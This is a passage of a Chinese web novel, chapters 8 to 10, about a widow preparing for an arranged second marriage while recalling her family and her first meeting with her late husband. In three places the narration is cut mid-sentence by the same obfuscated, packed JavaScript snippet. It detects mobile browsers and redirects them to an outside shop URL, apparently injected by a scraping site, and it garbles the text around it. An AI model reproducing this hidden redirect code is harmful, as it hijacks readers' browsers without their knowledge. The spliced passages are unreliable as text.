虽说沈父沈母之前也是这么对的梁钺,可是梁钺是她的青梅竹马,二人一同长大,到底是知根知底的。 这柳青砚不过才刚见过一面,不过是这求亲的时机选的好,才让沈婉仪最终答应了他。 沈府倒是可以给他一些助力,但若是不留余力地帮扶他,大可不必。沈婉仪想,若到时他若是踩着沈府上位,那沈府和她还如何拿捏他? 不过这些话她可不会在沈父沈母面前这么直白地说出来,不然引起他们怀疑起这桩婚事的真假可不是她愿意看到的事。 她得需旁敲侧击才行。 吃过晚膳,沈婉仪带着梁盈回到院子里,梁盈还在好奇地问她婚事。 “娘亲,这个新爹爹会和江姨一样,给阿盈带好吃的吗?” “娘亲也不知道,不过应该会的吧,毕竟我们阿盈这么可爱。”沈婉仪宠溺地捏了捏女儿的鼻头。 若是谁告诉她,她女儿被谁用好吃的骗走了,沈婉仪一点也不会觉得这是件稀奇事。 是以,自从发现了梁盈馋嘴的特点后,沈婉仪便日日教导她,不可轻易吃别人给的东西。除了她,外祖父、外祖母给的东西外,其余的人给的东西都需要拿给兰黛验了之后才能吃。 兰黛的爹爹是个药铺的老板,兰黛自小耳濡目染也能分辨各种药品和毒物,连哪些食物相克也都知道。 沈婉仪知道雪霜花和酒相冲,也是因为她才知道的。 “那他会给阿盈带好玩的吗?” “或许会吧。” “那他会给阿盈做新衣裳吗?” “或许也会吧。” “娘亲,那他会给你带好吃的吗?” 沈婉仪被女儿的这个问题问得愣了愣,旋即笑了,“或许会吧,娘亲也不知道。”小孩子的世界便是这般简单。 梁盈还想问,被沈婉仪用一只手轻轻捂住了嘴,她抬起黑白分明的眸子不解地看着她。 沈婉仪将她噤了声,便将手放开,去书案处拿来了一张画像,一点点展开。 “阿盈,这是谁?”沈婉仪轻声问。 “是爹爹。”梁盈奶声奶气地答道。 “对,是爹爹。” 画像上,是一个骑着骏马手拿银枪的男人,他的身后是橘红色的夕阳伴着大片大片的火烧云。 男人头发高束,露出一张凌厉的脸,剑眉星目,鼻梁高挺,下颚线分明,他手拿一杆红缨枪,身着一身银白色的铠甲正高坐马上。 这身装扮本就自带一股杀伐之气,偏偏那人却是满眼笑意,似乎正透着画像看过来,笑眯眯地望着你。 这幅画是沈婉仪画的。 沈婉仪还记得那日她有要事要去找梁钺,到了练武场却迟迟不见人来,等到她终于等不及了准备走时,一转头便看见这样的梁钺,似乎在那里等了很久,就等着看她什么时候才能发现他。 恶劣极了。 偏偏这副模样却始终留在她脑海里,怎么忘也忘不掉,夜里她躺在床上辗转反侧,终于是起身来画了这幅画像。 但她了解梁钺,要是被他知道自己偷摸画了他的画像,指定尾巴要翘到天上去,天天拿鼻孔看人。 所以直到梁钺去世,他也不知道其实沈婉仪为他画过一张画像。 “虽然今日娘亲告诉你说你会有个新爹爹,但是阿盈要时刻记得这才是你的爹爹。日后娘和那个新爹爹成亲后,若是阿盈不喜,也可以不用叫他爹爹。” “那叫什么呢?”梁盈问。 沈婉仪顿了顿,道,“叫叔叔就行。” “好的,娘亲。那个新爹爹长什么样啊?” “日后你会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922776|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见到的。” * 婚事定了之后,沈府便开始忙碌起来了。 虽说沈婉仪仍在丧期,不可大张旗鼓地操办婚事,但一些东西还是可以提前准备的。 沈婉仪是二嫁,所以一些婚事流程她已经驾轻就熟,此次备婚她便没有过多地劳烦母亲,能自己负责的便都自己负责。 二次成婚,她依旧整日在府里忙忙碌碌,却没有丝毫当初要嫁给梁钺时那般欢喜雀跃的心情。 沈母见女儿这些时日有条不紊地打点上下,心中既是欣慰又是心疼。欣慰她终于从一个闺阁少女长成了独当一面的妇人,心疼她终究是从天真烂漫变成了如今这般沉稳持重的模样。 若是可以,她宁愿自己的女儿永不长大,这样便可以一直过上无忧无虑的日子,可惜终究是妄想。 这些年看着梁盈在自己身边玩闹,她时常恍惚,仿佛看见了小时候的女儿在院子玩耍,于是便想对她好一些,再好一些。 是以每次梁盈犯错,她都不忍心斥责,她看着女儿训斥外孙女,也总是忍不住制止。林氏想,小孩子无忧无虑的时日总共也没几年,若做小孩时都不能开开心心地过个几天日子,那长大了便更难开心起来了。 林氏的这般想法并不是凭空产生,而是她的经验之谈。 沈母当年嫁给过来时,沈父的父母都还健在,沈老将军常年在外带兵打仗,身边的莺莺燕燕都很是稀少,娶了沈老夫人之后,更是再也没有抬过一房妾室。 于是每当沈父外出打仗时,沈府的后院常常便只有沈老夫人一人独居。 沈老夫人出自于书香世家,规矩立得是相当严格,小辈们除了每日的晨昏定省,言行坐卧需皆有仪态。纵是闲来无事随便聊几句,亦不许轻佻失矩,是以府中上下尤其是伺候老夫人的都谨小慎微,不敢有半分逾矩之处。 林氏自嫁到沈府便一直谨言慎行,生怕哪里做得不对惹得沈老夫人不喜,好在沈老夫人只是规矩立得严了些,并不刻意地刁难人。 她生下沈婉仪后,沈府便稍稍热闹了些,沈老夫人对于这个新到来的小生命也很是欢喜,送了好些东西过来,金玉佩饰、绫罗绸缎堆得箱子都放不下。 “母亲这是真喜欢我们婉仪呢,日后你多带着婉仪去母亲那边看看吧。”沈父下朝回来看见堆满的礼物道。 于是沈婉仪自还在襁褓中便成了沈老夫人院里的常客,等她稍微大些,沈老夫人便开了口要亲自教导她。 沈母虽不忍和女儿分离,但也不想拒绝老夫人伤了和气,她想着女儿由老夫人教导没有坏处,便答应了沈老夫人。 所以沈婉仪幼时陪在自己母亲身边的时间并不多,大多时候都是陪在沈老夫人身边。也因在老夫人那边熏陶久了,幼时的沈婉仪并不如梁盈这般跳脱。 林氏每次看着女儿来给自己请安,那么小的一个人儿,已完全是循规蹈矩的模样,一点孩童身上的活泼天性也无,甚至连玩耍时都是安安静静的。 林氏忽然就后悔答应了沈老夫人。 8. 第 8 章 是以当林氏的第二个孩子出生时,她便将孩子留在了身边,她原本想着亲自教导这孩子长大,不求他要多么循规蹈矩,只求他过得欢乐,像寻常孩子一般长大即可。 可惜事情并不如她所想。 沈嘉禾四岁那年,正好碰上沈老将军打了胜仗班师回朝,宫里和府里都备下了庆功宴为沈老将军庆祝。 那日沈府来了许多客人,有孩子的便也把孩子带上了。本是大喜的日子,沈夫人便没约束着儿子,任由他去找其他孩子玩,怕出事,便叫了好几个丫鬟跟着。 夜晚沈老将军从宫里回来时,已是醉醺醺的模样,回府的第一件事便是吵着要见自己的孙子和孙女。 沈婉仪自是一下便找着了,因为她和旁支表妹一直待在屋子里绣帕子,并没有四处玩耍。可沈嘉禾便不一样了,沈夫人派去的下人找了又找,等到好不容易找到人时,却发现他正在和其他孩子打架。 与他打架的人是兵部侍郎王拱之子王永,也是贵胄子弟,下人便不敢擅作主张,赶忙回来回禀沈夫人。 沈老爷子原本正无精打采地靠在太师椅上,听到这话倒是陡然来了精神,立刻站起身来,眼里闪烁着亮光,“人在哪儿呢?快带我去!” “在留芳亭。” 沈老夫人、沈正年留下来在会客厅招呼客人,沈夫人、沈老爷还有兵部侍郎王拱一同前往留芳亭找人。 王拱步履匆匆,紧跟在带路的人身后,若是细看还会看到他的额头正在慢慢沁出冷汗。 他刚刚在听到和沈家二郎打架的乃是自家孩子时,吓得魂都飞了,心里默默祈祷自己家那个混世魔王可不要伤了这沈老将军的宝贝孙子。 不是王拱自吹自家孩子有多厉害,而是自家孩子已经有六岁了,比沈嘉禾足足大了两岁,加上平时吃得没有节制了些,便长了个膀大腰圆的模样。 这沈老将军的宝贝外孙,白日时他是见过的,模样清秀,四肢纤细,个子最多到自家那混世魔王的胸口,要是打架绝对不是他家王永的对手。 他家这混世魔王在家里横惯了,今日来时本也是千叮咛万嘱咐过的,结果没想到还是出了这种事。 希望待会看到那沈家二郎时,不是一副鼻青脸肿的模样,不然他可没法向这沈家人交代啊,王拱暗自想着。 好在事情如他愿,到了地方,他没有看到沈家二郎鼻青脸肿的模样,反而是看见自家孩子被揍成了猪头样,正在嚎啕大哭。 他冲上去将王允扶了起来,心里松了一口气,同时在想莫非这沈家二郎叫了帮手不成,不然怎么看也看不出来他是王允的对手啊。 显然不只是他有这个疑问,沈夫人到了地方看见这场景显然也是一愣,问一旁气鼓鼓的沈嘉禾发生了何事。 “他的风筝挂树上了,他就来抢我的,我不给他,他便动手来打我了。娘亲,可不是我先动手的!”沈嘉禾还以为自家娘亲是来兴师问罪的,忙解释道。 “他脸上的伤是你打的?!” “是啊。”沈嘉禾满不在乎地说,“我本来没想打他的,是他自己一直不服非要讨打。” 沈夫人听到这话,让他把手伸出来,狠狠打了他三下,“天天把打打杀杀挂在嘴边,像什么样子?!快道歉!” “我不!明明是他先打我的,凭什么让我先道歉?” 沈夫人听到这话更是生气,她们是主人家,把客人打成这幅模样,有礼都变成没礼了,“你把人打成这样,你还有理了?!” 沈夫人将沈嘉禾拉到王允面前逼着他道歉,沈嘉禾抱着手臂就是不肯,气氛一时尴尬。 王拱了解自家孩子,晓得沈家二郎必定没有说谎,于是准备出来打圆场,可他尚未开口,沈老将军便发问了。 他先是指着沈嘉禾问王永,“真是这小子把你打成这幅模样的?” 王永狠狠点了点头,捂着被打得高高肿起的脸,口齿模糊道,“就......就...就是他!” 他又指着王永问沈嘉禾,“真是你一个人把他打成这样的?” 沈嘉禾肯定道,“一人做事一人当,就是我打的!” “哈哈哈哈哈,好小子!有你祖父当年的风采!比你那个不中用的爹好多了!”沈钧拍着沈嘉禾的肩大笑道。 “王拱,待会我叫人给你家小子送点药,待他养好伤了,你再把他带过来,我到要看看,他们这架是怎么打的!” 王拱边擦汗边道,“是,沈将军。”心里想着这下好了,自己家这小子不仅被人打了,而且还要养好了再来给别人当沙包,这次这个教训可真够他学的了。 宴席散场之后,沈嘉禾还和沈钧待在一起,他一直在讲今日自己是如何将那王胖子给打倒的。 听得沈钧开怀大笑,“你真这么厉害啊?!” “对啊,他朝我袭来,我抓住他伸过来的手一拧,再轻轻一绊,他就倒了。” “光说不练假把式,你给外祖父展示展示。” 沈嘉禾当即便跳下去给沈钧打了一套拳。 越看到后面,沈钧脸上的笑意一点点淡了,看到最后,他问,“谁教你的?” 沈嘉禾挠了挠头,“没人教我,我照着牛四学的,他天天在柴房打拳来着。”牛四是个伙夫,闲来无事时便在柴房打打拳松快松快筋骨。 半年之前,有一回沈嘉禾想吃冰酥酪,实在等不及了便自己往厨房那儿跑,厨房隔壁就是柴房,他经过柴房时便刚好看见牛四在打拳,这一看便使他停了下来。 沈嘉禾当时并未意识到这是在练武,他只是单纯这样觉得很威风,很厉害,于是没事的时候便跑来偷学几招。 沈钧带着他去求证了沈夫人,沈夫人也说没有人教他这些。 沈钧若有所思。 两个月过去,王永痊愈了,他爹还真将他带来了沈府。 不过王拱这回可长了心思,他怕自家儿子又被打成上次那个模样,于是便偷偷教了他几招,他自己好歹也是兵部侍郎,儿子可不能丢了脸面才是。 可没想到,这次来,王永依旧输了,并且是惨败,还没过上十招,便已经举手投降了。 沈钧在一旁看完全程,走过来拍了拍王拱的肩膀,“老王啊,你可别觉得不好意思,你给你家儿子开了小灶,我这当老的也不能认输啊。” 王拱刚想奉承几句,却又被沈钧打断,“哎,你可别说我欺负你儿子啊,我总共也没教我这外孙几招,全是靠他自己的天赋。” “是,是,是,沈家二郎于武学一事上天赋异禀,相信来日必定不比那梁家的大公子差。” 王拱说的梁家大公子,便是梁钺,此时正是建宁二年,梁钺刚满七岁,却已在武学一事上展露出了过人的天资,梁钺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922777|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的父亲梁广整日把他这儿子挂在嘴边。 “我们沈家终于又要再出一个能打仗的了!哈哈哈哈!改日看到那梁广,我也可以拍着胸脯说我也后继有人了!” 也不怪沈老爷子这么开心,当初,他和沈老夫人生了沈正年之后,本以为自己的儿子能继承自己的衣钵,继续带兵打仗。可哪知道他却随了沈母,整日只喜埋首书案、醉心于笔墨文章,对于舞刀弄枪一事毫无兴致。 甚至连沈钧一身武艺,沈正年都没习得半分,最后去做了个文臣,气得沈老爷子没少骂这个不争气的儿子。 好在今日终于又发现有人能传承他的武艺,他怎能不喜呢? 这日之后,沈夫人见到沈嘉禾的时间便愈来愈短了,她想说些什么,却也无从开口。因为她知道习武这事,儿子自己也是喜爱的,他偷偷去找牛四学打拳的每一回,她都知道。 她其实从两个月前开始,便有意为儿子寻一位武艺师父,但当时朝中的武学大家大多都随同大军一起出征,留下的除去不愿意的,人品不行的,与沈家政见不合的,就没剩几个了。 于是便一直挑挑拣拣直到沈老爷子班师回朝的那天。 林氏其实自己也明白,就目前来讲,没有再比沈老爷子更合适的了,既是祖父,又是才打了胜仗归来的大将军,由他来教导儿子,儿子的未来必定不会太差。 于是来年当沈嘉禾来问她可不可以与祖父一同去漠北时,林氏答应了,这是她和夫君沈正年商量后的结果。 若是儿子陪在自己身边只能做一只困于宅院的雀,那她更愿意斩断这场束缚让他去做翱翔天际的鹰。 沈婉仪对于弟弟的离去其实并不大伤感,因为她这个弟弟实在是烦人得紧。 沈婉仪每日给长辈们请完安之后,若无他事,便会待在祖母处那里练字。祖母告诉她,练字是最考验一个人耐性的,一个人的性子是静还是燥,看她的字就知道。 沈婉仪当时听到这话,心里不禁想,那弟弟写的字肯定是龙飞凤舞的。其实那时的沈婉仪还没见过沈嘉禾写的字,因为那时他才不过两岁左右,还不会提笔写字。 但他那时已经会叫阿姐了,整日看到她就“阿姐”“阿姐”地喊着,沈婉仪刚开始不以为然,只觉得弟弟喜欢和自己玩,直到后面发现弟弟一找不见她就要吵闹时,她便有些笑不出来了。 沈母也知道每日来找她不是个办法,只是每次沈嘉禾一闹起来沈母便没法子了,回回都派人来寻她。找她的时间长了,祖母也看不过去了,就让沈母把哭闹的沈嘉禾一起送到她的福寿堂来。 沈母之前虽不愿再将儿子送到沈老夫人身边教养,但也只是不愿将儿子长期养到老夫人身边,但像现在这种时候,她是非常愿意的。 沈嘉禾到了沈婉仪身边,自是不再哭闹了,但却一直缠着沈婉仪陪他玩。 沈老夫人本意是想着孙子来福寿堂之后,她便好一同施教,哪知道孙子和孙女完全不同,是个完全学不进去的主。尝试多次后,沈老夫人终究也选择不再逼他。 但为了不让他缠着沈婉仪,沈老夫人可是煞费苦心。或是让下人来陪他玩,又或是找来许多琳琅满目的玩具,可无论什么,沈嘉禾都不愿意让他的阿姐离开他的视线。 最后,沈婉仪和沈老夫人终于无奈妥协,让丫鬟带着他在离她三步不到的地方玩耍。 9. 第 9 章 好在这种状态并没有持续很久,等到沈嘉禾再大一些时,他便不再那么黏人了,虽然他偶尔还会来找沈婉仪,但是任何好玩的人或事都会阻碍他的脚步。 所以宴会那日,当他看见有那么多的同龄伙伴可以一起玩耍时,他果断没有选择和沈婉仪待在一起。 沈婉仪那晚得知弟弟打架了时的表情并没有很惊讶,因为她知道,她弟弟就是会做出这种事情。 不过当她知道和弟弟打架的人是王永时,还是忍不住地问了一句,“他受伤了吗?”这个“他”自然指的是沈嘉禾。 因为沈婉仪也见过王永,她没想过以沈嘉禾的体型居然会把王永打趴在地上。 得知事情的来龙去脉之后,沈婉仪偷偷为弟弟松了一口气,庆幸幸好不是弟弟先惹的事。 这几年,沈嘉禾以自己频繁闯祸的经历给沈婉仪留下了一个生性好动、偶尔黏人的烦人精弟弟形象。 所以当这个烦人精弟弟准备和祖父去漠北时,刨去些许不舍,沈婉仪的第一反应是,自己的耳根终于可以清净许多了。 沈婉仪那时才七岁,漠北离她太远,祖父每次的凯旋都让她错以为去漠北便只是出了一个远门而已。 所以分离时,她甚至连眼泪都没有流,因为她知道要不了多久,他总会回来的,和祖父一起。 果不其然,第二年年末时,他便和祖父沈钧一起平安回来过年了。 沈钧虽然奉命常年镇守漠北,但漠北也不是每时每刻都在毫无休止地打仗。 一场大规模的战役过后,漠北往往都会平静个两三四年,是以沈钧出去时才提议说要把沈嘉禾带在身边,因为他不久前才打赢了一场胜仗,这意味着他有大把地时间可以教导他的孙子。 沈嘉禾在漠北经过一年多的磨砺,见到她时的反应仍然和分别前差不多。 他本来在前厅与祖母、父母寒暄,一看见她来,眸子晶晶亮,嘴里兴奋地喊着,“阿姐!”步子跑得飞快,沈婉仪还没看见他的人影就感觉自己被他抱住了。 她费力将他拉开,仔细打量,他长高了一些,个子堪堪到她的肩膀,也变得魁梧了一些,四肢不再如分别时看着那么纤细。 面对她的注视,他刚开始还有些不好意思,但熟悉之后又忍不住要打开话匣子,他迫不及待地与她分享这一年多来在漠北的见闻。 他高兴地告诉她,他在那边认识了一个哥哥,和她差不多大的年纪,但身手却非常厉害,军营里的好多士兵都不是他的对手,而且这个哥哥一家人此次也跟着祖父的队伍一起回来了。 沈钧听到这,适时补充道,“这小子说的哥哥就是梁家那个孩子,跟我们婉仪也差不多大。刚好这次梁家人也一同回来了,等过完年把他们一家子叫来沈府聚聚。” 沈正年感慨道,“确实也许多年没见过梁大哥了,他们夫妻跟着军队常年在外,也难得与他们在上京城见几次面。” 梁广的父亲梁正,与沈钧是拜过把子的好兄弟,当年,他们从一个军营里出来,一起经历过好几次惨烈的战役,是名副其实的生死之交。 后来,二人都立了功封了将军,被先帝赐了府邸,沈钧娶了博陵崔氏二房之女崔瑾为妻,梁正则是娶了自己的青梅竹马农女田舒为妻。 两家的距离不过三条街,加上平时两家人往来得比较密切,是以沈正年出生后认识的第一个朋友便是梁广。 年少时,两人便整日一同玩耍,只是后来两人慢慢长大,沈正年选择考科举入仕途,梁广则是选择了继承父亲的衣钵入了军营,从那时起二人见面的次数也就越来越少了。 后来梁广在军营里遇见了他现在的妻子,黄明玉。那也是个传奇的人物,她女扮男装入了军营,还领着队伍打了好几场胜仗,后来受了伤身份被发现时,所有人都震惊非常。 梁广特意拜托自己的父亲帮忙,把黄明玉一事禀报给了先帝。先帝也是个爽快的主,他自己也是在马背上打的天下,很是欣赏能够领兵打仗的能人,无论那能人是男是女。 于是先帝当时便下了旨,宣告黄明玉身份的同时仍令其统兵出征,续承戎马之责。圣旨一下,那些一直在背后指责的小人再说不出一句屁话来。 后来梁广和黄明玉成了亲,还生了一个大胖小子梁钺,即便二人常年在外,仍然选择将孩子带在身边。 若是有战事,便提前把孩子送到后方的村子里,拜托父老乡亲临时照料,仗打完之后再把孩子接到身边,但大多时候那孩子还是待在军营中。 或许是父母都身手不凡,也或是耳濡目染,这孩子自生下来便对军营中的一切事物感到好奇,等到稍大些,能跑能跳了,更是对那些摆放在练武场上的兵器爱不释手。 偶然一次机会,梁广发现了儿子于枪术上的天赋,他将这事告诉了自己的妻子。黄明玉听到后,既是兴奋又是激动,因为她自己便是用的枪法,看来儿子是像了自己,黄明玉告诉梁广。 从那日之后,黄明玉便打算传授自己的孩子枪法,她先让他基本功练起,再一步步学习其他。 梁钺不仅能吃苦不叫累,而且悟性还很高,没过两年便已经能够上手摸枪了,虽是母亲给他特制的小枪,但他仍然把它用得很是流利。 又过了几年,梁钺已经能用他的小枪单挑一个成年男子了。那时,军营里面都传,梁家出了个用枪的天才少年。 这传言随着南征北战的队伍四处流转,最终传到了漠北的沈钧耳里,沈钧起初听到这个传言时是不信的。 他不相信的原因很简单,因为他认为并不是所有武将世家的子弟都醉心于武术,更不会年纪轻轻便武艺超群。 不然他家那个不孝子怎么连他的半分武艺都没习得,最后更是跑去做了个文臣。 说来说去,其实是沈老将军羡慕梁家一家子都是参军打仗的能人,现在人家又培养了一个能继承衣钵的孙辈,让他着实眼红了,毕竟那时他还尚未发现自己的孙子也是个可塑之才。 沈老将军跟着镇北王萧长霁带领的镇关军长年驻守漠北,与梁家所隶属的玄甲军并不是同一支。 与镇关军常年在北不同,玄甲军更倾向于解决一些边界上的流民骚扰,需要四处走动。 这些流民并不是一个数量庞大,训练有素的军队,但他们常常不定时,不定点对齐国靠近边界的村庄进行烧杀抢掠,所以便需要一支离得近且脚步快的队伍赶去支援。 玄甲军便是由上百支这样的队伍组成,这些小队散落在靠近边界的各个玄甲军分支处,只要一有风吹草动便立即赶赴现场。 若某一处袭击的流民过多,周围的玄甲军支队也可立即前去支援。 去年,漠北的一个小村庄遭遇了侵袭,沈老将军赶去救援时恰巧遇见了前去支援的梁广夫妇。战后,沈老将军便邀请他们到了他在青州的住处,顺便提出想见见他家那个会使枪的天才少年。 这一见面便不得了了,梁钺直接用他的那把小枪挑飞了与他对练的士兵,那士兵趴在地上哀嚎时,沈钧也终于服气了。 他拍了拍陪在他身旁一同观看这场对练的沈嘉禾,“嘉禾啊,这个哥哥就是你以后学习的榜样,你要赶上他,甚至超越他!” 沈嘉禾看着场上的梁钺,眼里尽是钦佩,听到这句话时甚至一时没反应过来。等到他意识到祖父让自己超越场上那个人时,他有些怀疑地问,“祖父,我真的可以吗?” 他迎来一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922778|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑光崩,“臭小子,给老子有点志气!” 那次的侵袭解决之后,边界一时安定了将近半年,这半年里,沈嘉禾便当了梁钺的跟屁虫,天天跟着他跑上跑下。 临近年关时,镇北王得到召令需派将领回京述职,沈钧便得到了回京的机会。恰巧梁广夫妇带领的那支队伍也被调回上京,于是两支队伍便一同回程了。 沈婉仪在一旁默默听着大人们谈话,沈嘉禾也不停在她耳边叨叨着。 其实沈婉仪对弟弟和祖父所提及的那个与她同龄的孩子并没有很大兴趣。原因无他,只因沈嘉禾一直在她面前讲述他和这位“哥哥”这半年多来做过的趣事。 这么多事听下来,沈婉仪只认定了两件事,一、沈嘉禾与这位“哥哥”志趣相投;二、这位“哥哥”大概率和沈嘉禾一样也是一个烦人精。 还未见着人,沈婉仪在潜意识里已对沈嘉禾所说的这个“哥哥”没留下什么好印象。 * 年后不久,沈钧终于找到机会邀请梁家人来府上一聚。 前几日,漫天飞絮般的大雪接连落了数场,整个上京城都覆了厚厚一层白,今日雪后初晴,仍是有点冷。 沈婉仪今日穿着一身月白色锦缎夹袄,领口和袖口绣着雅致的玉兰花图案,外面披一件雪白大氅。丫鬟今日给她盘了双鬟髻,两边都束着月白色暗纹绸带,既显清丽的同时也不失灵动。 今日府上来了客人,她预备着到前院去与各位长辈们请安,穿过几道月洞门,走至梅园,尚未踏进便听见了沈嘉禾的声音。 “这边一点,再这边一点,马上就够到了!” “梁大哥,你小心一点啊!” 一听便知道又是要惹祸的前奏,为了防止待会娘亲又再四处找人,沈婉仪决定将沈嘉禾带着一起去前院。 她穿过重重梅林,终于在快到梅园深处的位置看到了一大一小两个少年,大的那个身着锦衣华服,但沈婉仪并不认识,不过根据弟弟的称呼,想来便是梁家那个与她同龄的少年。 小的那个自然是沈嘉禾,此刻他正仰头目光灼灼地盯着梅树上的梁钺。 树上的人似是在帮沈嘉禾够什么东西,但至于够的什么东西,沈婉仪离得远了看的并不是很真切。 “沈嘉禾。” 树下的人仍然专心致志盯着树梢,没应她。 沈婉仪逐渐走近,“沈嘉禾。” 仍是没反应。 终于走至树下,来到沈嘉禾身后,沈婉仪轻喝道,“沈嘉禾!” 树下的人和树上的人同时一抖,看了过来。 “阿姐?!你怎么来了?!” 沈婉仪没有回答弟弟的疑问,微微仰头掀起眼帘看着树上那人,问,“你们在做什么?” 视线穿过那些相交错落的红梅,望向那双清澈如水又略带探究的眸子,梁钺怔然看着树下那个如雪一般的人。 梁钺自认并不是个文绉绉的人,但他此刻忽然脑子里面就蹦出一个词来——红梅映雪。 咚咚咚,是谁的心跳声? 梁钺的一只手仍然保持着够箭矢的模样,他伸出另一只手去摸自己的心窝,他想,他一定是被这清脆的呵斥声吓到了。 否则,他的心跳怎么跳得那样快? 忽然,咔嚓一声,梁钺趴的那支树干终于不堪他的重量,折了。 他就那样直愣愣地摔在沈婉仪面前,好在地上的积雪尚有一定厚度,加上他皮糙肉厚,摔得并不算疼。 他揉着自己的屁股墩,听到“噗呲”一声女子轻笑,如冰雪消融。 随后是沈嘉禾焦急的声音,“梁大哥,你没事吧?” 这便是沈婉仪与梁钺的初见。 10. 第 10 章 沈婉仪至今想起那日梁钺的表情仍会觉得好笑,因为那表情和门房养的那条大黄狗打滚翻下小台阶摔懵了的表情一模一样。 不知道为什么,随着婚期越来越近,沈婉仪发现自己想起梁钺的频率倒是越发高了。 因这桩婚事是圣上赐婚,所以比起和梁钺的婚事,她要忙碌不少,这几个月来她几乎没有休息的时日,甚至连时间流逝都察觉不到,待到反映过来时日子已然跨过了酷暑进入了初秋。 沈婉仪的丧期满了,婚事也近在眼前了。 她近日盘算着要不要在成亲之前带着梁盈与柳青砚见上一面,虽说她与柳青砚只是名义上的夫妻,可是婚后他仍然算是梁盈的继父,日后二人少不了要天天见面的。 她将她心中所想讲与沈母林氏,得到了林氏的支持。 林氏不仅支持她,还劝她若是有这个打算便要抓紧时间,不可再拖,她说,“按常理来讲,这婚前几日新娘和新郎都是不宜见面的。你这婚期还有一个月,你便趁着这段时日带着阿盈与柳大人见上一面,也让阿盈好熟悉一下她这未来父亲不是?” 梁盈的孝期也是满了的,沈婉仪可以将她带出去四处走动或游玩。 打定主意后,沈婉仪便提前去问了父亲他们的休沐日,准备写信约柳青砚休沐时出来再见上一面。她在信中特意提及她这次会把梁盈一同带上,示意他到时别在孩子面前说些不该说的。 梁盈从外面跑进来便看见母亲正坐在书案边写着什么东西,她凑过来好奇地问,“娘亲,你在写什么?” 沈婉仪听到女儿的声音,提笔写字的手忽然一顿,她想到了什么,把手中的笔放下,问女儿,“阿盈,娘亲打算带你和新爹爹见上一面,你愿意吗?” 梁盈用那双黑溜溜的眸子直勾勾地看着自己的母亲,她眨了眨眼,问,“娘亲,是要出府去见这个新爹爹吗?” 沈婉仪点了点头,还有一个月便是婚期了,此时不宜将人约上门来见面。 “我愿意。”听见可以出门,梁盈立刻做出了回答。 沈婉仪宠溺地笑了笑,她自是知道女儿为什么答应得这样快,但她还是嘱咐道,“到时你可要记住娘亲和外婆平日里教你的,不可在外人面前失了分寸。” “嗯!娘亲,我不会在新爹爹面前给你们丢脸的。”梁盈眼神坚定,像是在做出什么庄重的承诺。 但沈婉仪知道她的意思,她怕她错失这次出去玩的机会,于是先向她做出保证,以免她反悔不带她出去。 “好,那到时候娘亲出门的时候就把阿盈带上。” 得到母亲肯定的回答,梁盈顿时兴奋起来,迫不及待地就要找兰黛姐姐分享这个好消息,沈婉仪看着她来去如风的背影,无奈地叹了口气,她这女儿比她舅舅幼时都还要活泼几分。 每次看见女儿蹦蹦跳跳的模样,沈婉仪都会忍不住地想,梁钺少时必然也是这般风风火火的模样,不然女儿若是像她的性子,必不会如此好动。 信寄出去后,不到一日便收到了柳青砚的回信,她在信中说了时间地点,那回信上除了礼貌的问候,便只有一个“好”字,比起上次回信都还要精简。 沈婉仪看着这个“好”字,忽地想起来,除了那日在万鹤楼与柳青砚见了一面,这几个月来他们二人各自忙着自己的事,倒是再也没有见过面了。 算起来,两日后的这次见面,还是他们被赐婚后的首次见面。 * 两日的时间一转而逝。 这日一大早,沈婉仪还在梳洗,就听见屋外传来说话声,她刚想开口询问发生了何事,一转头就看见梁盈准备朝她怀里飞过来。 不过她刚跑了两步便想起她答应的话来,顷刻放慢了步伐。她缓步来到沈婉仪跟前,规规矩矩行了个礼。 “给娘亲请安。” 沈婉仪见她今日如此听话,轻柔地将她抱起搁在旁边的编藤榻上,问道,“怎么这么早就过来啦?” 梁盈今日穿了一件鹅黄团纹短衫,下半身则配了一件杏子色百褶裙,通身明亮的颜色更趁得她的小脸雪白,再配上头上精致的双髻,活脱脱画里面的仙童。 恰巧沈婉仪今日也是穿的浅黄色短衫配浅青色百迭裙,母女俩说不出的心有灵犀。 被问起早起的原因,梁盈有些支支吾吾,身后的兰黛倒是一副欲言又止的模样。 沈婉仪给她递了一个眼神,示意她来回答。 兰黛得到首肯,上前一步解释道,“小姐昨日睡前便一直念叨着今日外出一事,今晨更是卯时刚过没多久便醒了。吴妈妈本想劝小姐再多睡一会儿,哪知小姐一直想着这事便闹着要来找您,奴婢只好带小姐过来了。” 吴妈妈便是梁盈的乳娘,此刻正在外间候着。 “无妨。你们先下去吧。” 沈婉仪当然知道女儿为何兴奋不已,三年的孝期,除了必要的祭祀祈福,梁盈出府的日子屈指可数,所以她这么激动也情有可原。 